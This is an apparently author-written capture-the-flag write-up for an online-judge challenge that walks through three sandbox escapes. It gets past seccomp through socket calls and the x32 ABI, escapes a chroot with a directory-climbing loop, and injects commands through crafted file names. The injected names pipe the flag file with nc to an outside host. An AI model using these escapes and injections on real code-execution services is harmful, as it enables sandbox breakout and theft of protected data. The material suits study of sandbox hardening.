blue-lotus onlinejudge judge system, as you know, the code you submit will be run on remote server. challenge environment
step 1 escape seccomp
-
try to connect back to your host by
system("echo hello|nc yourhost yourport") result: failed, remote server filtered syscall execve socket(yourhost:yourport)->send("hello") result: wow, you get hello on yourhost:yourport
-
use opendir->readdir->socket->send to list remote dir
scf.so 14xxxxxxxx
-
dump scf.so by open->read->socket->send. by reversing scf.so, you find that scf.so applied a seccomp syscall filter by hooking __libc_start_main.
#define VALIDATE_ARCHITECTURE \ BPF_STMT(BPF_LD+BPF_W+BPF_ABS, arch_nr), \ BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, ARCH_NR, 1, 0), \ BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL) #define EXAMINE_SYSCALL \ BPF_STMT(BPF_LD+BPF_W+BPF_ABS, syscall_nr) #define BLOCK_SYSCALL(name) \ BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, __NR_##name, 0, 1), \ BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL) /* Validate architecture. */ VALIDATE_ARCHITECTURE, /* Grab the system call number. */ EXAMINE_SYSCALL, BLOCK_SYSCALL(execve), BLOCK_SYSCALL(fork), BLOCK_SYSCALL(ptrace), BLOCK_SYSCALL(clone), BLOCK_SYSCALL(chroot), BLOCK_SYSCALL(pivot_root), BLOCK_SYSCALL(process_vm_readv), BLOCK_SYSCALL(process_vm_writev), ALLOW_PROCESS,
obviously, this filter can be evaded by x32abi.
step 2 escape chroot
-
run some api to gather infomation such as:
getuid,ret 0 getpid,ret 3 getcwd,ret /root/ system("ls everywhere") cannot find flag and directory is not complete. you realize that you are in a chroot environment.
-
escape chroot by
mkdir("tmpdir", 0755); dir_fd = open(".", O_RDONLY); if(chroot("tmpdir")){ perror("chroot"); } fchdir(dir_fd); close(dir_fd); for(x = 0; x < 1000; x++) chdir(".."); chroot(".");
-
list dir outside, you find some interesting files
/flag /start.h /home/ctf/setup.h /home/ctf/oj/*
-
try to read /flag, you get permission deny. run system(“ls -al /flag”), you get
-r--r----- 1 nobody nogroup 46 Apr 14 03:21 flag
-
read /start.sh and /home/ctf/setup.sh, you find some binaries of boj:
/usr/lib/cgi-bin/onlinejudge.cgi /usr/lib/cgi-bin/statequery.cgi /home/ctf/oj/sandbox/sandbox /home/ctf/oj/sandbox/scf.so /home/ctf/oj/sandbox/cr
-
dump these binaries
step 3 escape usernamespace
- reverse sandbox, you find you are in a user namepsace. the root you own is not a real root. uid=0 inside namespace is mapped to uid=1000 outside.
-
reverse cr, you find there is a command injection bug.
int run(char* binname){ .... snprintf(runcmd,310,"%s %s",sandboxpath,binpath); .... if(pid==0){ drop(1000,1000); if (signal(SIGALRM, (__sighandler_t)timeouthandler) < 0){ perror("signal"); } alarm(2); snprintf(state,300,"submit id: %s</br>state: %s</br>result: %s</br>",submitid,"Runing","N/A"); fd=open(statepath,O_WRONLY|O_CREAT); write(fd,state,strlen(state)); close(fd); chdir(sandboxdirname); system(runcmd); ....
-
cr is running outside the namespace, you can inject command to get which user&group the flag really belong to
touch '/home/ctf/oj/bin/ad.c;ls -al flag|nc yourhost yourport'; -r--r----- 1 root www-data 46 Apr 14 03:21 flag
-
www-data is uid=33 && gid=33(read /etc/passwd). by reversing cr, you find: cr set it uid&&gid to 33 before compile. and by the way, these is a command injection error in compile function.
int compile(char *srcname){ .... snprintf(compilecmd,310,"gcc -o %s %s",binpath,srcpath); .... if(pid==0) { drop(33,33); if (signal(SIGALRM, (__sighandler_t)timeouthandler) < 0){ perror("signal"); } alarm(1); snprintf(state,300,"submit id: %s</br>state: %s</br>result: %s</br>",submitid,"Compiling","N/A"); fd=open(statepath,O_WRONLY|O_CREAT); write(fd,state,strlen(state)); close(fd); system(compilecmd);//file name command injuection ....
-
read flag by submiting system(“touch ‘/home/ctf/oj/src/hahaha.c;cat flag |nc yourhost yourport;’”);
- you get flag on your own host, done :)
something else
Chanllenge boj is designed to be a whitebox challenge mainly, the only blackbox step is try to connect back and get scf.so. after you get scf.so, you need to do something like: list dir->dump binaries->reversing->exploit->list dir->dump binaries->reversing->exploit…
I saw some teams tried and guessed blindly during the game. as we know, such guessing and trying is boring. I feel so sorry about that, maybe some infomation in this challenge mislead you guys to do a purely blackbox attack.